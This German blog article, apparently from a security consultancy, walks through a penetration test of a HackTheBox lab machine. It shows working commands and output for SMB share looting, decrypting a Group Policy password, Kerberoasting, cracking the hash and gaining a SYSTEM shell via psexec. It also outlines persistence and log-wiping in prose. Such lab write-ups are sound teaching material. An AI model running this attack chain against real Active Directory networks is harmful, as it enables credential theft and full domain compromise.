Der professionelle Einbruch
"We are in a cybersecurity arms race, and the hackers are winning. Over the years, we have tested thousands of companies. There is always a way in." (Kevin Mitnick)
Inhalt
Eine geeignete Methode zum Aufdecken von Lücken,über die ein Hackerangriff erfolgen kann, sind Penetrationstests. Als Penetrationstest, kurz Pentest, wird ein umfassender Sicherheitstest von einem oder mehrerer Rechner(-netzwerke) auf mögliche Schwachstellen genannt. Dabei werden die selben Tools und Techniken verwendet, die auch unautorisierte Angreifende (Hacker) benutzen. Penetrationstests können auch eine Möglichkeit sein, die Nachweispflicht der DSGVO zu erfüllen.
In diesem Artikel gehe ich auf die Vorgehensweise von kriminellen Akteuren ein und erkläre an einem praktischen Beispiel, wie Pentester im Auftrag der Eigentümer der Infrastruktur dieselben Schwachstellen aufdecken. Dafür greifen wir eine absichtlich mit Schwachstellen versehene virtuelle Maschine auf der Lernplattform HackTheBox an.
Die Ausgabe der Tools wurde zur besseren Lesbarkeit auf für uns relevante Informationen gekürzt. Zu jedem Thema verlinke ich weiterführende Informationen.
Auskundschaften
Beim Auskundschaften wird versucht, Informationen über das Ziel herauszufinden, ohne eine direkte Verbindung herzustellen. Dabei interessiert uns unter anderem:
-
alte / geänderte Versionen der Webseite auf Waybackmachine ansehen
(1) -
IP-Adressen der Organisation herausfinden
-
Unternehmensstruktur auf Social Media herausfinden
-
Kontaktdaten von Mitarbeitenden für Phishing Angriffe sammeln
(2)
Bei einem Pentest wird aus rechtlichen Gründen vorher festgelegt, welche Systeme angegriffen werden dürfen. In unserem Beispiel ist das die VM mit dem Namen “Active”, erreichbar im HackTheBox-VPN unter der IP-Adresse 10.10.10.100.
Abtasten
Beim Abtasten stellen wir das erste Mal eine direkte Verbindung zum Ziel her. Aufteilen kann man dieses Vorgehen in folgende Arten:
-
Network Scanning - von außen erreichbare Geräte innerhalb eines Netzwerkes finden
-
Port Scanning - auf gefundenen Geräten angebotene Dienste identifizieren
-
Vulnerability Scanning - bereits bekannte Schwachstellen entdecken
Wir beginnen mit einem Portscan gegen unsere VM.
$ nmap -sV -sC -p- 10.10.10.100
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2018-09-13 21:01:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb)
445/tcp open microsoft-ds?
Nmap
Angreifen
Nutzer Rechte
Beim Angreifen stellen wir uns folgende Fragen:
-
Welches Gerät ist am schwächsten gesichert?
-
Welche Schwachstelle lässt sich am einfachsten ausnutzen?
-
Welcher Angriff bietet größtmöglichen Erfolg?
Beim Abtasten haben wir herausgefunden, dass “Active” den SMB-Dienst anbietet. SMB ist ein Filesharing-Protokoll und die erste Wahl, wenn Windows Systeme anderen Rechnern im Netzwerk Zugriff auf Dateien erlauben möchte. Daher untersuchen wir im Folgenden, auf welche Verzeichnisse und Dateien wir Zugriff haben.
$ python smbmap.py -H 10.10.10.100 -d active.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON NO ACCESS
Replication READ ONLY
SYSVOL NO ACCESS
Users NO ACCESS
Da “Replication” das einzige Verzeichnis ist, welches wir Auslesen können, verbinden wir uns damit und laden uns alle Dateien für eine einfachere Analyse herunter. Dafür aktivieren wir das rekursive Durchsuchen aller Ordner (“recurse ON”), deaktivieren die Bestätigung für jede einzelne Datei (“prompt OFF”) und starten den Download (“mget *").
$ smbclient \\\\10.10.10.100\\Replication
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Bei der Durchsicht der heruntergeladenen Dateien stoßen wir auf ein Backup einer Active Directory Gruppenrichtlinie:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User
clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="active.htb\SVC_TGS"
image="2"
changed="2018-07-18 20:46:06"
uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties
action="U"
newName=""
fullName=""
description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
changeLogon="0"
noChange="1"
neverExpires="1"
acctDisabled="0"
userName="active.htb\SVC_TGS"/>
</User>
</Groups>
In Active Directory-Umgebungen können Administratoren Richtlinien definieren, um Einstellungen auf Clients zu ändern. Diese verbinden sich regelmäßig mit dem Domain Controller, um die vom Administrator definierten Einstellungen herunterzuladen.
Zu diesen Einstellungen gehört das Passwort eines lokalen Benutzers auf dem Client. Diese Funktion ist hilfreich, um beispielsweise lokale Administratorkonten für die gesamte Domäne zu verwalten. Da das Passwort bis Windows Server 2008 mit einem statischen, öffentlich bekannten 32-Bit-Key verschlüsselt wurde
$ gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18
Wir haben jetzt also das Klartext-Passwort “GPPstillStandingStrong2k18” für den SVC_TGS Nutzer. Wenn wir diese zur Authentifizierung beim SMB Dienst nutzen, bekommen wir Lesezugriff auf weitere Verzeichnisse, inklusive dem privaten Users-Ordner:
$ python smbmap.py -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ NO ACCESS
NETLOGON READ ONLY
Replication READ ONLY
SYSVOL READ ONLY
Users READ ONLY
Administrator Rechte
Als Nächstes versuchen wir Administrator-Rechte zu erlangen. Dafür benutzen wir unsere gerade erlangten Zugangsdaten, um alle in dem Active Directory verfügbaren Benutzer aufzulisten:
$ python windapsearch.py --dc-ip 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -U
[+] Enumerating all AD users
[+] Found 4 users:
cn: Administrator
cn: Guest
cn: krbtgt
cn: SVC_TGS
userPrincipalName: SVC_TGS@active.htb
Von Interesse sind das Administrator-Konto und der “krbtgt”-Benutzer. Active Directory nutzt Kerberos
Wenn ein Benutzer zum Beispiel Zugriff zu einem geschützten Webserver erhalten möchte, muss dieser sich zuerst bei dem Domain Controller authentifizieren. Wenn das erfolgreich geschehen ist, bekommt der Benutzer ein Service Ticket vom Domain Controller. Dieses Service Ticket ist im übertragenen Sinne die Eintrittskarte zum Webserver. Der Domain Controller verschlüsselt das Service Ticket mit dem Passwort-Hash von dem Account, der den Webserver betreibt. Damit kann dieser Account sichergehen, dass das Ticket vom Domain Controller ausgestellt wurde.
Da jeder Domain Benutzer so ein Service Ticket anfragen kann, benutzen wir unseren SVC_TGS Account, um eine Liste von Benutzerkonten zu bekommen, die einen Service zur Verfügung stellen. Dann fordern wir ein Service Ticket an, um den Passwort-Hash des jeweiligen Accounts zu bekommen. Diese Technik nennt man auch “Kerberoasting”.
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
ServicePrincipalName Name
-------------------- -------------
active/CIFS:445 Administrator
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$09a16612e21d8979ea1a2025ae9bc848$405...
Wir finden heraus, dass die SMB Netzwerkfreigabe aus den vorherigen Schritten von dem Administrator Account betrieben wird. Da wir nun auch über den Passwort-Hash
Dafür nutzen wir John The Ripper.
$ john krb.txt --wordlist=/usr/share/wordlists/rockyou.txt
Ticketmaster1968
Wir kennen jetzt das Passwort “Ticketmaster1968” für das Administrator-Konto. Mit diesen Zugangsdaten können wir uns direkt an “Active” anmelden
$ python psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lRSucApr.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service eMOD on 10.10.10.100.....
[*] Starting service eMOD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
nt authority\system
Festsetzen und Tarnen
Beim Festsetzen wollen wir uns eine Hintertür in Systeme offen halten, in die wir bereits eingedrungen sind. Das kann zum Beispiel durch Einspielen von Software passieren, die uns einen späteren Zugang vereinfacht, ohne alle Schwachstellen erneut ausnutzen zu müssen. Ein weiterer Schritt ist das Verwischen von Spuren. Dafür werden unter anderem die benutzten Tools und Logs, die unsere Handlungen dokumentiert haben, vom System entfernt.
In unserem praktischen Beispiel ist dies aber nicht mehr notwendig, da wir das System bereits vollständig kompromittiert haben. Der Penetration Test ist hier also abgeschlossen.
Fazit
Wir sind zusammen alle Schritte eines Penetration Tests durchgegangen und haben sie, soweit möglich, an einem praktischen Beispiel angewandt. Der beschriebene Weg zur Kompromittierung eines Systems zeigt die typische Vorgehensweise auf, die auch ein Hacker wählen könnte.
Aufgabe des Pentester ist es, die vor ihm liegenden Technologien so gut zu verstehen, dass mögliche Schwachstellen aufgedeckt und ausgenutzt werden können, ohne einen bleibenden Schaden zu hinterlassen. Die gesammelten Erkenntnisse werden zusammen mit dem Kunden aufgearbeitet und so eine sicherere Infrastruktur gewährleistet.
Erfahren Sie mehr über mögliche Sicherheitslücken Ihrer IT und kommen Sie ins Gespräch mit mir und unseren IT-Security Experten von governance2compliance – denn: There’s always a way in!
Quellen
(1) https://web.archive.org/ (2) https://q-dan.de/kalas (3) https://nmap.org/ (4) https://github.com/ShawnDEvans/smbmap (5) https://www.samba.org/samba/docs/current/man-html/smbclient.1.html (6) https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be?redirectedfrom=MSDN (7) https://github.com/t0thkr1s/gpp-decrypt (8) https://www.roguelynn.com/words/explain-like-im-5-kerberos/ (9) https://room362.com/post/2016/kerberoast-pt1/ (10) https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py (11) https://aware7.de/blog/password-hash-infografik/ (12) https://www.openwall.com/john/ (13) https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py